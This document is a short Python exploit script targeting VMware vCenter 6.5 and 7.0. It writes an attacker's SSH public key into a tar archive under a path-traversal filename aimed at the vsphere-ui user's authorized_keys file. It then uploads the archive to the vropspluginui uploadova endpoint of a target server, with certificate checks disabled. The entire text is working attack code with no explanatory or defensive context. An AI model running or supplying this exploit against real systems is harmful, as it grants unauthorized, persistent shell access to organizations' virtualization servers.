VMware vCenter 6.5 / 7.0 Remote Code Execution

import tarfile
import os
from io import BytesIO
import requests

proxies = {
  "http": "http://127.0.0.1:8080",
  "https": "http://127.0.0.1:8080",
}
def return_zip():
    with tarfile.open("test.tar", 'w') as tar:
        payload = BytesIO()
        id_rsa_pub = 'ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwgGuwNdSGHKvzHsHt7QImwwJ08Wa/+gHXOt+VwZTD23rLwCGVeYmfKObDY0uFfe2O4jr+sPamgA8As4LwdqtkadBPR+EzZB+PlS66RcVnUnDU4UdMhQjhyj/uv3pdtugugJpB9xaLdrUWwGoOLYA/djxD5hmojGdoYydBezsNhj2xXRyaoq3AZVqh1YLlhpwKnzhodk12a7/7EU+6Zj/ee5jktEwkBsVsDLTTWPpSnzK7r+kAHkbYx8fvO3Fk+9jlwadgbmhHJrpPr8gLEhwvrEnPcK1/j+QXvVkgy2cuYxl9GCUPv2wgZCN50f3wQlaJiektm2S9WkN5dLDdX+X4w=='
        tarinfo = tarfile.TarInfo(name='../../../home/vsphere-ui/.ssh/authorized_keys')
        f1 = BytesIO(id_rsa_pub.encode())
        tarinfo.size = len(f1.read())
        f1.seek(0)
        tar.addfile(tarinfo, fileobj=f1)
        tar.close()
        payload.seek(0)
def getshell(url):
    files = {'uploadFile':open('test.tar','rb')}
    try:
        r = requests.post(url=url, files=files,proxies=proxies,verify = False).text
        print(r)
    except:
        print('flase')

if __name__ == "__main__":
    try:
        return_zip()
        url="https://192.168.1.1/ui/vropspluginui/rest/services/uploadova"
        getshell(url)
    except IOError as e:
        raise e